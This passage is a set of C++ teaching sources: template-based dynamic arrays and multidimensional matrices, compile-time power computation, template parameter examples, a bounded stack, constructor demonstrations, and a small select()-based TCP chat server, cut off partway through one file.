template <class T>
T& Array<T>::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
template <class T>
const T& Array<T>::operator[](unsigned int idx) const
{
return idx >= size ? init : p[idx];
}
template <class T>
void Array<T>::Resize(unsigned int required_index)
{
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
template <class T, T init_val, int dim>
MultiMatrix<T, init_val, dim>::~MultiMatrix()
{
for (unsigned int i = 0; i < arr.Size(); i++)
delete arr[i];
}
template <class T, T init_val, int dim>
MultiMatrix<T, init_val, dim-1>&
MultiMatrix<T, init_val, dim>::operator[](unsigned int idx)
{
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
template <class T, T init_val, int dim>
const MultiMatrix<T, init_val, dim-1>&
MultiMatrix<T, init_val, dim>::operator[](unsigned int idx) const
{
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
// return *arr[idx];
}
int main()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
m[0][0][0] = 1;
printf("%d\n", c[0][0][0]); /* exists */
printf("%d\n", c[4][4][4]); /* was never created */
return 0;
}
multimatrix07-live.cppC++ / 98 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(const T& in) : p(0), init(in), size(0) {}
Array(const Array<T>& other); /* allowed again */
~Array() { delete[] p; }
Array<T>& operator=(const Array<T>& other); /* allowed again */
T& operator[](unsigned int idx);
const T& operator[](unsigned int idx) const;
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index);
};
template <class T>
Array<T>::Array(const Array<T>& other) : p(0), init(other.init), size(0)
{
*this = other;
}
/* a deep copy: every element is assigned, and an element may be a matrix */
template <class T>
Array<T>& Array<T>::operator=(const Array<T>& other)
{
if (this == &other)
return *this;
T *copy = other.size ? new T[other.size] : 0;
for (unsigned int i = 0; i < other.size; i++)
copy[i] = other.p[i];
delete[] p;
p = copy;
init = other.init;
size = other.size;
return *this;
}
template <class T>
T& Array<T>::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
template <class T>
const T& Array<T>::operator[](unsigned int idx) const
{
return idx >= size ? init : p[idx];
}
template <class T>
void Array<T>::Resize(unsigned int required_index)
{
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size]; /* default constructor */
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init; /* assignment */
delete[] p;
p = new_array;
size = new_size;
}
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1> > arr;
public:
MultiMatrix() : arr(MultiMatrix<T, init_val, dim-1>()) {}
MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx)
{ return arr[idx]; }
const MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx) const
{ return arr[idx]; }
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
int main()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
for (int j = 0; j < 1000; j++)
m[0][j][0] = j; /* 1000 rows inside m[0] */
m[8][0][0] = 5; /* the top level grows: 8 -> 16 */
printf("%d %d %d %d\n", c[0][0][0], c[0][999][0], c[8][0][0],
c[3][3][3]);
return 0;
}
multimatrix08.cppC++ / 69 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx)
{ if (idx >= size) Resize(idx); return p[idx]; }
const T& operator[](unsigned int idx) const
{ return idx >= size ? init : p[idx]; }
int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix()
{ for (int i = 0; i < arr.Size(); i++) delete arr[i]; }
MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
const MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) const {
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
int main()
{
MultiMatrix<int, -1, 5> mm;
mm[3][4][5][2][7] = 193;
mm[2][2][2][2][2] = 251;
printf("%d %d %d %d\n",
mm[3][4][5][2][7], mm[2][2][2][2][2],
mm[0][1][2][3][4], mm[1][2][3][2][1]);
return 0;
}
multimatrix09-comparisson.cppC++ / 182 lines
/* three.cpp: three ways to build MultiMatrix on top of Array
*
* -DKIND=1 a field with pointers to the smaller matrices (the book)
* -DKIND=2 inherited from the array of pointers
* -DKIND=3 a field with the smaller matrices themselves ("live")
* -DGROW adds one assignment that makes the top level grow
* -DTIME runs the time test instead of the allocation test
*
* g++ -Wall -Wextra -ansi -pedantic -DKIND=1 three.cpp -o three
* valgrind ./three 2>&1 | grep 'heap usage'
*
* g++ -Wall -Wextra -ansi -pedantic -O2 -DKIND=1 -DTIME three.cpp -o three
* ./three
*/
#include <stdio.h>
#include <time.h>
#ifndef KIND
#define KIND 1
#endif
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(const T& in) : p(0), init(in), size(0) {}
~Array() { delete[] p; }
T& operator[](unsigned int idx) {
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
unsigned int Size() const { return size; }
#if KIND == 3 /* live: copying must really work */
Array(const Array<T>& other) : p(0), init(other.init), size(0)
{ *this = other; }
Array<T>& operator=(const Array<T>& other) {
if (this == &other)
return *this;
T *copy = other.size ? new T[other.size] : 0;
for (unsigned int i = 0; i < other.size; i++)
copy[i] = other.p[i];
delete[] p;
p = copy;
init = other.init;
size = other.size;
return *this;
}
#endif
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
delete[] p;
p = new_array;
size = new_size;
}
#if KIND != 3 /* pointers: copying stays forbidden */
void operator=(const Array<T>&) {}
Array(const Array<T>&) {}
#endif
};
#if KIND == 1 /* ---- a field with pointers (the book) ---- */
template <class T, T init_val, int dim>
class MultiMatrix {
typedef MultiMatrix<T, init_val, dim-1> Sub;
Array<Sub*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for (unsigned int i = 0; i < arr.Size(); i++)
delete arr[i];
}
Sub& operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new Sub;
return *arr[idx];
}
const Sub& operator[](unsigned int idx) const {
static Sub dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
#elif KIND == 2 /* ---- inherited from the array of pointers ---- */
template <class T, T init_val, int dim>
class MultiMatrix : public Array<MultiMatrix<T, init_val, dim-1>*> {
typedef MultiMatrix<T, init_val, dim-1> Sub;
typedef Array<Sub*> Base;
public:
MultiMatrix() : Base(0) {}
~MultiMatrix() {
for (unsigned int i = 0; i < Base::Size(); i++)
delete Base::operator[](i);
}
Sub& operator[](unsigned int idx) {
if (!Base::operator[](idx))
Base::operator[](idx) = new Sub;
return *Base::operator[](idx);
}
const Sub& operator[](unsigned int idx) const {
static Sub dummy;
return Base::operator[](idx) ? *Base::operator[](idx) : dummy;
}
};
#else /* ---- a field with the matrices themselves ---- */
template <class T, T init_val, int dim>
class MultiMatrix {
typedef MultiMatrix<T, init_val, dim-1> Sub;
Array<Sub> arr;
public:
MultiMatrix() : arr(Sub()) {}
Sub& operator[](unsigned int idx) { return arr[idx]; }
const Sub& operator[](unsigned int idx) const { return arr[idx]; }
};
#endif
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
/* count the allocations of this one with valgrind, with and without GROW */
void alloc_test()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
for (int j = 0; j < 1000; j++)
m[0][j][0] = j; /* 1000 rows inside m[0] */
#ifdef GROW
m[8][0][0] = 5; /* the top level grows: 8 -> 16 */
#endif
printf("%d %d %d %d\n", c[0][0][0], c[0][999][0], c[8][0][0],
c[3][3][3]);
}
/* ten growths of the top level, with side x side ints stored below it */
void time_test(int side)
{
MultiMatrix<int, -1, 3> m;
clock_t start, mid, end;
start = clock();
for (int j = 0; j < side; j++)
for (int k = 0; k < side; k++)
m[0][j][k] = j + k;
mid = clock();
for (int i = 8; i <= 4096; i *= 2)
m[i][0][0] = i; /* 8 -> 16 -> ... -> 8192 slots */
end = clock();
printf("fill %d x %d: %.1f ms\n", side, side,
(mid - start) * 1000.0 / CLOCKS_PER_SEC);
printf("ten growths: %.1f ms\n",
(end - mid) * 1000.0 / CLOCKS_PER_SEC);
}
int main()
{
#ifdef TIME
time_test(2000);
#else
alloc_test();
#endif
return 0;
}
params.cppC++ / 88 lines
#include <stdio.h>
/* ---- 1. a constant of any integer type ---- */
template <char c, unsigned long n>
void line()
{
for (unsigned long i = 0; i < n; i++)
putchar(c);
putchar('\n');
}
template <bool loud>
void say(const char *msg)
{
printf(loud ? "%s!!!\n" : "%s\n", msg);
}
/* ---- 2. ... known at compile time ---- */
const int width = 4;
enum { height = 3 };
/* ---- 3. the address of a global variable: &var ---- */
int apples = 0;
int pears = 0;
template <int *counter>
struct Counted {
Counted() { ++*counter; }
};
/* ---- 4. the address of a function: &f or just f ---- */
void to_stdout(const char *msg) { printf("stdout: %s\n", msg); }
void to_stderr(const char *msg) { fprintf(stderr, "stderr: %s\n", msg); }
template <void (*report)(const char *)>
void work()
{
report("done");
}
/* ---- for 5 and 7 ---- */
int numbers[3] = { 10, 20, 30 };
int *apples_ptr = &apples;
char greeting[] = "hello";
template <char *name>
void hello()
{
printf("%s\n", name);
}
int main()
{
line<'-', 10>(); /* 1: char and unsigned long */
say<true>("one"); /* 1: bool */
say<false>("two");
line<'=', width * height + 1>(); /* 2: an expression of constants */
line<'.', sizeof(int)>();
Counted<&apples> a1, a2; /* 3: &var */
Counted<&pears> p1;
printf("%d %d\n", apples, pears);
work<&to_stdout>(); /* 4: &f */
work<to_stderr>(); /* 4: f */
hello<greeting>(); /* 7: what works instead */
#if BAD == 1
int n = 10;
line<'-', n>(); /* 2: not known at compile time */
#elif BAD == 2
Counted<&numbers[1]> bad; /* 5: a complex address expression */
#elif BAD == 3
Counted<apples_ptr> bad; /* 5: the value of a pointer */
#elif BAD == 4
int local = 0;
Counted<&local> bad; /* 6: a local variable */
#elif BAD == 5
hello<"hello">(); /* 7: a string literal */
#endif
return 0;
}
power.cppC++ / 21 lines
#include <stdio.h>
template <int base, int exp>
struct Power {
static int value;
Power() { value = base * Power<base, exp-1>::value; }
};
template <int base>
struct Power<base, 0> {
static int value;
};
template <int base>
int Power<base, 0>::value = 1;
int main()
{
// printf("%d\n", Power<2, 10>::value);
return 0;
}
power01.cppC++ / 23 lines
#include <stdio.h>
template <int base, int exp>
struct Power {
static int value;
};
template <int base, int exp>
int Power<base, exp>::value = base * Power<base, exp-1>::value;
template <int base>
struct Power<base, 0> {
static int value;
};
template <int base>
int Power<base, 0>::value = 1;
int main()
{
printf("%d\n", Power<2, 10>::value);
return 0;
}
power02.cppC++ / 25 lines
#include <stdio.h>
template <int base, int exp>
struct Power {
static int value;
};
template <int base, int exp>
int Power<base, exp>::value = base * Power<base, exp-1>::value;
template <int base>
struct Power<base, 0> {
static int value;
};
template <int base>
int Power<base, 0>::value = 1;
int main()
{
// int table[Power<2, 5>::value];
// printf("%d %d %d %d\n", (int)Power<2, 10>::value, (int)Power<3, 4>::value,
// (int)Power<7, 0>::value, (int)(sizeof(table) / sizeof(*table)));
return 0;
}
power03.cppC++ / 19 lines
#include <stdio.h>
template <int base, int exp>
struct Power {
enum { value = base * Power<base, exp-1>::value };
};
template <int base>
struct Power<base, 0> {
enum { value = 1 };
};
int main()
{
int table[Power<2, 5>::value];
printf("%d %d %d %d\n", (int)Power<2, 10>::value, (int)Power<3, 4>::value,
(int)Power<7, 0>::value, (int)(sizeof(table) / sizeof(*table)));
return 0;
}
resize_array.cppC++ / 76 lines
#include <stdio.h>
typedef void (*funcptr)(unsigned int, unsigned int);
static unsigned int resizes = 0;
template <class T, funcptr F>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx);
const T& operator[](unsigned int idx) const;
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index);
void operator=(const Array<T, F>& ref) {}
Array(const Array<T, F>& ref) {}
};
template <class T, funcptr F>
T& Array<T, F>::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
template <class T, funcptr F>
const T& Array<T, F>::operator[](unsigned int idx) const
{
return idx >= size ? init : p[idx];
}
template <class T, funcptr F>
void Array<T, F>::Resize(unsigned int required_index)
{
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
(*F)(size, new_size);
size = new_size;
}
void report(unsigned int old_size, unsigned int new_size)
{
printf("resize: %u -> %u\n", old_size, new_size);
}
void count(unsigned int old_size, unsigned int new_size)
{
resizes++;
}
int main()
{
Array<int, &report> a(0);
Array<int, count> b(0);
a[0] = 1;
a[7] = 1;
a[8] = 1;
a[100] = 1;
for (int i = 0; i < 1000; i++)
b[i] = i;
printf("%d\n", resizes);
return 0;
}
stack.cppC++ / 60 lines
#include <stdio.h>
template <class T, int cap>
class Stack {
T data[cap];
int len;
public:
Stack() : len(0) {}
bool Push(const T& d);
bool Pop(T& d);
bool Empty() const { return len == 0; }
};
template<class T, int cap>
bool Stack<T, cap>::Push(const T& d)
{
if (len < cap) {
data[len] = d;
len++;
return true;
} else
return false;
}
template<class T, int cap>
bool Stack<T, cap>::Pop(T& d)
{
if (len > 0) {
len--;
d = data[len];
return true;
} else
return false;
}
int main()
{
int i;
bool ok = true;
Stack<int, 4> s;
for (i = 1; i <= 6; i++) {
ok = s.Push(i);
printf("%d", ok);
}
printf("\n");
while ((ok = s.Pop(i)))
printf("%d ", i);
printf("\n");
Stack<int, 4> small;
Stack<int, 8> big;
printf("%ld %ld\n", sizeof(small), sizeof(big));
// big = small;
// const int n = 4; Stack<int, n> t;
return 0;
}
02 (10-08)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
adt.cppC++ / 67 lines
/* kinds.cpp: what the three kinds of constructors are for
* g++ -Wall -Wextra -ansi -pedantic kinds.cpp -o kinds && ./kinds
*/
#include <stdio.h>
/* ---- an abstract data type: a value, like double ---- */
class Complex {
double re, im;
public:
Complex() : re(0), im(0) { printf(" default\n"); }
Complex(double r) : re(r), im(0) { printf(" conversion\n"); }
Complex(const Complex& c) : re(c.re), im(c.im) { printf(" copy\n"); }
Complex(double r, double i) : re(r), im(i) {}
double Re() const { return re; }
double Im() const { return im; }
};
Complex operator+(const Complex& a, const Complex& b)
{
return Complex(a.Re() + b.Re(), a.Im() + b.Im());
}
double modulus2(Complex c) /* by value */
{
return c.Re() * c.Re() + c.Im() * c.Im();
}
/* ---- objects in the OOP sense ---- */
class Animal {
public:
virtual ~Animal() {}
virtual const char *Voice() const { return "..."; }
};
class Dog : public Animal {
public:
virtual const char *Voice() const { return "woof"; }
};
void by_address(const Animal& a) { printf(" %s\n", a.Voice()); }
void by_value(Animal a) { printf(" %s\n", a.Voice()); }
int main()
{
printf("Complex a;\n");
Complex a;
printf("Complex b = 2.5;\n");
Complex b = 2.5;
printf("Complex c = b;\n");
Complex c = b;
printf("Complex z[3];\n");
Complex z[3];
printf("b + 1\n");
Complex d = b + 1;
printf("modulus2(d)\n");
double m = modulus2(d);
printf("%g %g %g\n", a.Re() + c.Re() + z[0].Re(), d.Re(), m);
Dog dog;
printf("by_address(dog)\n");
by_address(dog);
printf("by_value(dog)\n");
by_value(dog);
return 0;
}
Book example: cpp_chat/
cpp_chat/MakefileMake / 19 lines
CXX = g++
CXXFLAGS = -g -Wall -O2
chat: sockets.o chat.o main.o
$(CXX) $^ -o $@
%.o: %.cpp
$(CXX) $(CXXFLAGS) -c $<
clean:
rm -f *.o *~ deps.mk chat
deps.mk: $(wildcard *.cpp) Makefile
$(CXX) -MM $(wildcard *.cpp) > $@
ifneq (clean, $(MAKECMDGOALS))
-include deps.mk
endif
cpp_chat/chat.cppC++ / 220 lines
#include <stdio.h> // for sprintf
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "chat.hpp"
static const char welcome_msg[] =
"Welcome to the chat, you are known as ";
static const char entered_msg[] = " has entered the chat";
static const char left_msg[] = " has left the chat";
ChatSession::ChatSession(ChatServer *a_master, int fd)
: FdHandler(fd, true), buf_used(0), ignoring(false),
name(0), the_master(a_master)
{
Send("Your name please: ");
}
ChatSession::~ChatSession()
{
if(name)
delete[] name;
}
void ChatSession::Send(const char *msg)
{
write(GetFd(), msg, strlen(msg));
}
void ChatSession::Handle(bool r, bool w)
{
if(!r) // should never happen, we only request ready-to-read events
return;
if(buf_used >= (int)sizeof(buffer)) {
buf_used = 0;
ignoring = true;
}
if(ignoring)
ReadAndIgnore();
else
ReadAndCheck();
}
void ChatSession::ReadAndIgnore()
{
int rc = read(GetFd(), buffer, sizeof(buffer));
if(rc < 1) {
the_master->RemoveSession(this);
return;
}
int i;
for(i = 0; i < rc; i++)
if(buffer[i] == '\n') { // stop ignoring!
int rest = rc - i - 1;
if(rest > 0)
memmove(buffer, buffer + i + 1, rest);
buf_used = rest;
ignoring = false;
CheckLines();
return;
}
}
void ChatSession::ReadAndCheck()
{
int rc = read(GetFd(), buffer+buf_used, sizeof(buffer)-buf_used);
if(rc < 1) {
if(name) {
int len = strlen(name);
char *lmsg = new char[len + sizeof(left_msg) + 2];
sprintf(lmsg, "%s%s\n", name, left_msg);
the_master->SendAll(lmsg, this);
delete[] lmsg;
}
the_master->RemoveSession(this);
return;
}
buf_used += rc;
CheckLines();
}
void ChatSession::CheckLines()
{
if(buf_used <= 0)
return;
int i;
for(i = 0; i < buf_used; i++) {
if(buffer[i] == '\n') {
buffer[i] = 0;
if(i > 0 && buffer[i-1] == '\r')
buffer[i-1] = 0;
ProcessLine(buffer);
int rest = buf_used - i - 1;
memmove(buffer, buffer + i + 1, rest);
buf_used = rest;
CheckLines();
return;
}
}
}
void ChatSession::ProcessLine(const char *str)
{
int len = strlen(str);
if(!name) {
name = new char[len+1];
strcpy(name, str);
char *wmsg = new char[len + sizeof(welcome_msg) + 2];
sprintf(wmsg, "%s%s\n", welcome_msg, name);
Send(wmsg);
delete[] wmsg;
char *emsg = new char[len + sizeof(entered_msg) + 2];
sprintf(emsg, "%s%s\n", name, entered_msg);
the_master->SendAll(emsg, this);
delete[] emsg;
return;
}
int nl = strlen(name);
char *msg = new char[nl + len + 5];
sprintf(msg, "<%s> %s\n", name, str);
the_master->SendAll(msg);
delete[] msg;
}
//////////////////////////////////////////////////////////////////////
ChatServer::ChatServer(EventSelector *sel, int fd)
: FdHandler(fd, true), the_selector(sel), first(0)
{
the_selector->Add(this);
}
ChatServer::~ChatServer()
{
while(first) {
item *tmp = first;
first = first->next;
the_selector->Remove(tmp->s);
delete tmp->s;
delete tmp;
}
the_selector->Remove(this);
}
ChatServer *ChatServer::Start(EventSelector *sel, int port)
{
int ls, opt, res;
struct sockaddr_in addr;
ls = socket(AF_INET, SOCK_STREAM, 0);
if(ls == -1)
return 0;
opt = 1;
setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
res = bind(ls, (struct sockaddr*) &addr, sizeof(addr));
if(res == -1) {
close(ls);
return 0;
}
listen(ls, qlen_for_listen);
return new ChatServer(sel, ls);
}
void ChatServer::RemoveSession(ChatSession *s)
{
the_selector->Remove(s);
item **p;
for(p = &first; *p; p = &((*p)->next)) {
if((*p)->s == s) {
item *tmp = *p;
*p = tmp->next;
delete tmp->s;
delete tmp;
return;
}
}
}
void ChatServer::SendAll(const char *msg, ChatSession *except)
{
item *p;
for(p = first; p; p = p->next)
if(p->s != except)
p->s->Send(msg);
}
void ChatServer::Handle(bool r, bool w)
{
if(!r) // must not happen, ever!
return;
int sd;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
sd = accept(GetFd(), (struct sockaddr*) &addr, &len);
if(sd == -1)
return;
item *p = new item;
p->next = first;
p->s = new ChatSession(this, sd);
first = p;
the_selector->Add(p->s);
}
cpp_chat/chat.hppC++ / 58 lines
#ifndef CHAT_HPP_SENTRY
#define CHAT_HPP_SENTRY
#include "sockets.hpp"
enum {
max_line_length = 1023,
qlen_for_listen = 16
};
class ChatServer;
class ChatSession : FdHandler {
friend class ChatServer;
char buffer[max_line_length+1];
int buf_used;
bool ignoring;
char *name;
ChatServer *the_master;
ChatSession(ChatServer *a_master, int fd);
~ChatSession();
void Send(const char *msg);
virtual void Handle(bool r, bool w);
void ReadAndIgnore();
void ReadAndCheck();
void CheckLines();
void ProcessLine(const char *str);
};
class ChatServer : public FdHandler {
EventSelector *the_selector;
struct item {
ChatSession *s;
item *next;
};
item *first;
ChatServer(EventSelector *sel, int fd);
public:
~ChatServer();
static ChatServer *Start(EventSelector *sel, int port);
void RemoveSession(ChatSession *s);
void SendAll(const char *msg, ChatSession *except = 0);
private:
virtual void Handle(bool r, bool w);
};
#endif
cpp_chat/deps.mkMake / 3 lines
chat.o: chat.cpp chat.hpp sockets.hpp
main.o: main.cpp chat.hpp sockets.hpp
sockets.o: sockets.cpp sockets.hpp
cpp_chat/main.cppC++ / 16 lines
#include <stdio.h>
#include "chat.hpp"
static int port = 7777;
int main()
{
EventSelector *selector = new EventSelector;
ChatServer *serv = ChatServer::Start(selector, port);
if(!serv) {
perror("server");
return 1;
}
selector->Run();
return 0;
}
cpp_chat/sockets.cppC++ / 96 lines
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include "sockets.hpp"
EventSelector::~EventSelector()
{
if(fd_array)
delete[] fd_array;
}
void EventSelector::Add(FdHandler *h)
{
int i;
int fd = h->GetFd();
if(!fd_array) {
fd_array_len = fd > 15 ? fd + 1 : 16;
fd_array = new FdHandler*[fd_array_len];
for(i = 0; i < fd_array_len; i++)
fd_array[i] = 0;
max_fd = -1;
}
if(fd_array_len <= fd) {
FdHandler **tmp = new FdHandler*[fd+1];
for(i = 0; i <= fd ; i++)
tmp[i] = i < fd_array_len ? fd_array[i] : 0;
fd_array_len = fd + 1;
delete[] fd_array;
fd_array = tmp;
}
if(fd > max_fd)
max_fd = fd;
fd_array[fd] = h;
}
bool EventSelector::Remove(FdHandler *h)
{
int fd = h->GetFd();
if(fd >= fd_array_len || fd_array[fd] != h)
return false;
fd_array[fd] = 0;
if(fd == max_fd) {
while(max_fd >= 0 && !fd_array[max_fd])
max_fd--;
}
return true;
}
void EventSelector::Run()
{
quit_flag = false;
do {
int i;
fd_set rds, wrs;
FD_ZERO(&rds);
FD_ZERO(&wrs);
for(i = 0; i <= max_fd; i++) {
if(fd_array[i]) {
if(fd_array[i]->WantRead())
FD_SET(i, &rds);
if(fd_array[i]->WantWrite())
FD_SET(i, &wrs);
}
}
int res = select(max_fd+1, &rds, &wrs, 0, 0);
if(res < 0) {
if(errno == EINTR)
continue;
else
break;
}
if(res > 0) {
for(i = 0; i <= max_fd; i++) {
if(!fd_array[i])
continue;
bool r = FD_ISSET(i, &rds);
bool w = FD_ISSET(i, &wrs);
if(r || w)
fd_array[i]->Handle(r, w);
}
}
} while(!quit_flag);
}
FdHandler::~FdHandler()
{
if(own_fd)
close(fd);
}
cpp_chat/sockets.hppC++ / 39 lines
#ifndef SOCKETS_HPP_SENTRY
#define SOCKETS_HPP_SENTRY
class FdHandler;
class EventSelector {
FdHandler **fd_array;
int fd_array_len;
int max_fd;
bool quit_flag;
public:
EventSelector() : fd_array(0), quit_flag(false) {}
~EventSelector();
void Add(FdHandler *h);
bool Remove(FdHandler *h);
void BreakLoop() { quit_flag = true; }
void Run();
};
class FdHandler {
int fd; // can NOT be changed "in flight"
bool own_fd;
public:
FdHandler(int a_fd, bool own) : fd(a_fd), own_fd(own) {}
virtual ~FdHandler();
virtual void Handle(bool r, bool w) = 0;
int GetFd() const { return fd; }
virtual bool WantRead() const { return true; }
virtual bool WantWrite() const { return false; }
};
#endif
00 (10-10)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
chat00.cppC++ / 365 lines
#include <unistd.h>
#include <sys/select.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
class FdHandler {
int fd;
bool own_fd;
public:
FdHandler(int a_fd, bool own)
: fd(a_fd), own_fd(own) {}
virtual ~FdHandler();
virtual void Handle(bool r, bool w) = 0;
int GetFd() const { return fd; }
virtual bool WantRead() const { return true; }
virtual bool WantWrite() const { return false; }
};
FdHandler::~FdHandler()
{
if (own_fd)
close(fd);
}
class EventSelector {
FdHandler **fd_array;
int fd_array_len;
int max_fd;
bool quit_flag;
public:
EventSelector() : fd_array(0), quit_flag(false) {}
~EventSelector();
void Add(FdHandler *h);
bool Remove(FdHandler *h);
void BreakLoop() { quit_flag = true; }
void Run();
};
EventSelector::~EventSelector()
{
if (fd_array)
delete[] fd_array;
}
void EventSelector::Add(FdHandler *h)
{
int i;
int fd = h->GetFd();
if (!fd_array) {
fd_array_len = fd > 15 ? fd + 1 : 16;
fd_array = new FdHandler*[fd_array_len];
for (i = 0; i < fd_array_len; i++)
fd_array[i] = 0;
max_fd = -1;
}
if (fd_array_len <= fd) {
FdHandler **tmp = new FdHandler*[fd+1];
for(i = 0; i <= fd; i++)
tmp[i] = i < fd_array_len ? fd_array[i] : 0;
fd_array_len = fd + 1;
delete[] fd_array;
fd_array = tmp;
}
if (fd > max_fd)
max_fd = fd;
fd_array[fd] = h;
}
bool EventSelector::Remove(FdHandler *h)
{
int fd = h->GetFd();
if (fd >= fd_array_len || fd_array[fd] != h)
return false;
fd_array[fd] = 0;
if (fd == max_fd)
while (max_fd >= 0 && !fd_array[max_fd])
max_fd--;
return true;
}
void EventSelector::Run()
{
quit_flag = false;
do {
int i;
fd_set rds, wrs;
FD_ZERO(&rds);
FD_ZERO(&wrs);
for (int i = 0; i <= max_fd; i++) {
if (fd_array[i]) {
if (fd_array[i]->WantRead())
FD_SET(i, &rds);
if (fd_array[i]->WantWrite())
FD_SET(i, &wrs);
}
}
int res = select(max_fd + 1, &rds, &wrs, 0, 0);
if (res < 0) {
if (errno == EINTR)
continue;
else
break;
}
if (res > 0)
for (i = 0; i <= max_fd; i++) {
if (!fd_array[i])
continue;
bool r = FD_ISSET(i, &rds);
bool w = FD_ISSET(i, &wrs);
if (r || w)
fd_array[i]->Handle(r, w);
}
} while (!quit_flag);
}
enum {
max_line_length = 1024,
qlen_for_listen = 16
};
class ChatServer;
class ChatSession : FdHandler {
friend class ChatServer;
char buffer[max_line_length+1];
int buf_used;
bool ignoring;
char *name;
ChatServer *the_master;
ChatSession(ChatServer *a_master, int fd);
~ChatSession();
void Send(const char *msg);
virtual void Handle(bool r, bool w);
void ReadAndIgnore();
void ReadAndCheck();
void CheckLines();
void ProcessLine(const char *str);
};
class ChatServer : public FdHandler {
EventSelector *the_selector;
struct item {
ChatSession *s;
item *next;
};
item *first;
ChatServer(EventSelector *sel, int fd);
public:
~ChatServer();
static ChatServer *Start(EventSelector *sel, int port);
void RemoveSession(ChatSession *s);
void SendAll(const char *msg, ChatSession *except = 0);
private:
virtual void Handle(bool r, bool w);
};
ChatServer *ChatServer::Start(EventSelector *sel, int port)
{
int ls, opt, res;
struct sockaddr_in addr;
ls = socket(AF_INET, SOCK_STREAM, 0);
if (ls == -1)
return 0;
opt = 1;
setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
res = bind(ls, (struct sockaddr*) &addr, sizeof(addr));
if (res == -1) {
close(ls);
return 0;
}
listen(ls, qlen_for_listen);
return new ChatServer(sel, ls);
}
ChatServer::ChatServer(EventSelector *sel, int fd)
: FdHandler(fd, true), the_selector(sel), first(0)
{
the_selector->Add(this);
}
ChatServer::~ChatServer()
{
while(first) {
item *tmp = first;
first = first->next;
